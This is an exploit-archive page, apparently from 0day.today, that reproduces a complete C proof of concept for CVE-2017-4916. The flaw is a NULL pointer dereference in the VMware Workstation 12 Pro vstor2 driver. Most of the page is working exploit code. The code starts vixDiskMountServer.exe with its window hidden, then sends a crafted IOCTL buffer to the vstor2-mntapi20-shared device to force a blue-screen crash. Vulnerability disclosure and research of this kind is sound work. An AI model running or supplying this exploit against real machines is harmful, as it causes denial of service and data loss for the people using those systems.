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VMware Workstation 12 Pro - Denial of Service Exploit
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
/*
* Title: NULL pointer dereference vulnerability in vstor2 driver (VMware Workstation Pro/Player)
* CVE: 2017-4916 (VMSA-2017-0009)
* Author: Borja Merino (@BorjaMerino)
* Date: May 18, 2017
* Tested on: Windows 10 Pro and Windows 7 Pro (SP1) with VMware® Workstation 12 Pro (12.5.5 build-5234757)
* Affected: VMware Workstation Pro/Player 12.x
* Description: This p0c produces a BSOD by sending a specific IOCTL code to the vstor2_mntapi20_shared device
* driver due to a double call to IofCompleteRequest (generating a MULTIPLE_IRP_COMPLETE_REQUESTS bug check)
*/
#include "windows.h"
#include "stdio.h"
void ioctl_crash()
{
HANDLE hfile;
WCHAR *vstore = L"\\\\.\\vstor2-mntapi20-shared";
DWORD dummy;
char reply[0x3FDC];
hfile = CreateFileW(vstore, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
char buf[384] = "\x80\x01\x00\x00\xc8\xdc\x00\x00\xba\xab";
DeviceIoControl(hfile, 0x2a002c, buf, 382, reply, sizeof(reply), &dummy, NULL);
}
void run_vix()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
RtlZeroMemory(&si, sizeof(si));
RtlZeroMemory(&pi, sizeof(pi));
si.dwFlags |= STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
DWORD createFlags = CREATE_SUSPENDED;
CreateProcess(L"C:\\Program Files (x86)\\VMware\\VMware Workstation\\vixDiskMountServer.exe", NULL, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
}
void main()
{
run_vix(); //Comment this if vixDiskMountServer.exe is already running
ioctl_crash();
}
# 0day.today [2024-11-15] #